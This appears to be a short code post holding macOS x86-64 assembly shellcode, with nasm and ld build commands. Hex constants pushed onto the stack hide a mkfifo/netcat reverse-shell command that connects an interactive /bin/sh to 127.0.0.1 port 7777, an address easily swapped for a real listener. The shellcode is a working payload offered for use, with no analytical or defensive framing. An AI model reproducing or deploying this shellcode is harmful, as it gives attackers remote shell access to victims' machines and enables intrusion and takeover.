reverse /bin/sh by nc, reference: https://modexp.wordpress.com/2017/01/21/shellcode-osx/

macOS-reverse-shellcode.asm

; date: 2018-12-11
; author: thinkycx
; description: 
;        reverse /bin/sh by nc, reference: https://modexp.wordpress.com/2017/01/21/shellcode-osx/
; usage: 
;        nasm -f macho64 macOS-reverse-shellcode.asm
;        ld -macosx_version_min 10.7.0 -o macOS-reverse-shellcode macOS-reverse-shellcode.o
BITS 64

global start

section .text

start:
    xor     rax, rax
    mov     rax,0x2
    ror     rax, 0x28
    or      rax, 59
    mov rcx, rax



    xor     rdx, rdx
    mov     rbx, 0x68732f2f6e69622f
    push    rdx
    push    rbx
    push    rsp
    pop     rdi

    push    rdx
    mov     rbx, 0x632d
    push    rdx
    push    rbx
    push    rsp
    pop     rbx

    push    rdx

    mov rcx, 0x662f706d74
    push rcx
    mov rcx, 0x2f203e2037373737
    push rcx
    mov rcx, 0x20312e302e302e37
    push rcx
    mov rcx, 0x323120636e7c3126
    push rcx
    mov rcx, 0x3e3220692d206873
    push rcx
    mov rcx, 0x2f6e69622f7c662f
    push rcx
    mov rcx, 0x706d742f20746163
    push rcx
    mov rcx, 0x3b662f706d742f20
    push rcx
    mov rcx, 0x6f6669666b6d3b66
    push rcx
    mov rcx, 0x2f706d742f206d72
    push rcx

    push rsp
    pop rcx

    push    rdx
    push    rcx
    push    rbx
    push    rdi
    push    rsp
    pop     rsi

    syscall

compile it

nasm -f macho64 macOS-reverse-shellcode.asm
ld -macosx_version_min 10.7.0 -o macOS-reverse-shellcode macOS-reverse-shellcode.o